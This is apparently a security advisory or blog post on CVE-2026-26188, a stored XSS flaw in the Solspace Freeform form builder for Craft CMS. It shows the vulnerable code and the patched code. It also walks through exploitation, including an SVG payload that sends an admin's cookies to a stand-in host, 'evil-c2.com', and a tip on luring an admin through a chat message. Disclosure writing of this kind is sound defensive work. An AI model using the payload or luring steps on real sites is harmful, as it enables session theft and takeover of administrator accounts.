Feb 15, 2026·5 min read·11 visits
Solspace Freeform for Craft CMS (v5.x < 5.14.7) contains a Stored XSS vulnerability in the Control Panel. Authentication is required, but a low-level user can inject malicious JavaScript into form labels and integration metadata. When an admin views the form builder, the script executes via React's `dangerouslySetInnerHTML`, leading to session hijacking or account takeover.
In the modern web ecosystem, we often treat React as a silver bullet against Cross-Site Scripting (XSS). After all, it escapes content by default, right? Well, only until a developer decides to bypass those protections for 'convenience.' CVE-2026-26188 is a classic example of this hubris within the Solspace Freeform plugin for Craft CMS. By abusing the `dangerouslySetInnerHTML` property in the form builder's Control Panel, a low-privileged user can plant a persistent payload that detonates the moment an administrator tries to edit a form. It's a textbook Stored XSS that turns a routine content update into a full administrative compromise.
Craft CMS is the darling of the agency world—flexible, pretty, and generally secure. But like any CMS, its armor is only as strong as the third-party plugins you strap onto it. Enter Solspace Freeform, the go-to plugin for building complex forms without writing code. It’s a powerful tool that allows content editors to drag-and-drop fields, configure integrations (Salesforce, HubSpot), and manage notifications.
Here’s the rub: To make that drag-and-drop interface responsive and snappy, the Freeform Control Panel (CP) relies heavily on a React frontend. The developers needed to render dynamic HTML content—think custom labels, help text with links, or icons for those third-party integrations. This is where the architectural temptation creeps in. Rendering HTML strings inside a React component is annoying; you have to parse it, sanitize it, or... you can just use the React equivalent of a raw pointer.
The vulnerability lies in the trust boundary. The application assumed that anyone with permission to create a form was trustworthy. It allowed these users to input arbitrary strings for field labels and option names, which the backend happily stored. The real horror show begins when those strings are retrieved and fed directly into the DOM of a privileged administrator.
React, by design, hates raw HTML. It wants to manage the DOM itself. To render raw HTML strings, developers must use a property with a name that literally screams "STOP, LOOK AT WHAT YOU ARE DOING": dangerouslySetInnerHTML. The React team named it this way explicitly to prevent accidental XSS. It is not a subtle hint.
In CVE-2026-26188, the Freeform developers seemingly ignored the warning label. Throughout the Control Panel's codebase—specifically in the form builder and integration settings—user-controlled data was passed directly into this property without sanitization.
We aren't talking about one obscure location. The vulnerability was systemic. It affected:
Because this data is stored in the database, it sits there like a landmine. The payload doesn't execute when the low-level user saves the form. It executes later, when a Super Admin opens the form builder to check the work. This delayed execution is what makes Stored XSS so insidious—the victim isn't the attacker; the victim is the person with the keys to the kingdom.
Let's look at the diff. It’s rare to see a patch so clearly illustrate the mistake. The vulnerability existed in multiple React components, but the pattern was identical in all of them. Here is a snippet from packages/client/src/app/components/elements/custom-dropdown/dropdown.options.tsx.
The Vulnerable Code:
// 'option.label' comes directly from the database
<span dangerouslySetInnerHTML={{ __html: option.label }} />It’s almost poetic in its simplicity. Take the string, shove it into the HTML. If option.label is <b>Bold</b>, you get bold text. If option.label is <img src=x onerror=alert(1)>, you get a hacked admin.
The Fix (v5.14.7):
import { sanitize } from '../../utils/sanitize';
// ... later in the render function
<span
dangerouslySetInnerHTML={{
__html: sanitize(option.label),
}}
/>The fix wasn't to stop using dangerouslySetInnerHTML (which would have required a massive refactor), but to introduce a sanitize() utility, likely wrapping DOMPurify. This ensures that while HTML tags like <b> or <i> might pass through, dangerous attributes like onerror or tags like <script> are stripped before React ever sees them.
So, how do we weaponize this? We need a user account. It doesn't need to be an admin. It just needs the permission to "Manage Forms" or "Access Freeform". In many corporate setups, this permission is granted to marketing interns or content writers.
Step 1: The Setup Log in as the low-privilege user and navigate to the Freeform dashboard. Create a new form or edit an existing one.
Step 2: The Injection Drag a "Select" (Dropdown) field onto the canvas. In the configuration sidebar, look for the "Options" list. In the "Label" field for one of the options, insert the payload.
We want to do more than pop an alert box. We want persistence. We want the admin's session. Let's use an SVG payload to avoid some filter basics:
Sales Inquiry <svg/onload="fetch('https://evil-c2.com/log?cookie='+btoa(document.cookie))">Step 3: The Wait Save the form. The interface might look a bit glitchy depending on how the browser renders the SVG, but the payload is now in the database.
Step 4: The Detonation
Wait for an administrator to log in. Maybe you send them a Slack message: "Hey, the Sales Inquiry form looks weird, can you check it?" The admin navigates to the Freeform builder. The React component mounts. The dangerouslySetInnerHTML prop receives our payload. The browser parses the SVG. The onload event fires. The admin's session ID is beamed to your C2 server. You now own the Craft CMS instance.
CVSS 5.1 might seem low to the uninitiated (
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
Freeform Solspace | < 5.14.7 | 5.14.7 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 |
| Attack Vector | Network |
| CVSS v4.0 | 5.1 (Medium) |
| EPSS Score | 0.04% |
| Exploit Status | PoC Available |
| Affected Component | Control Panel (Form Builder) |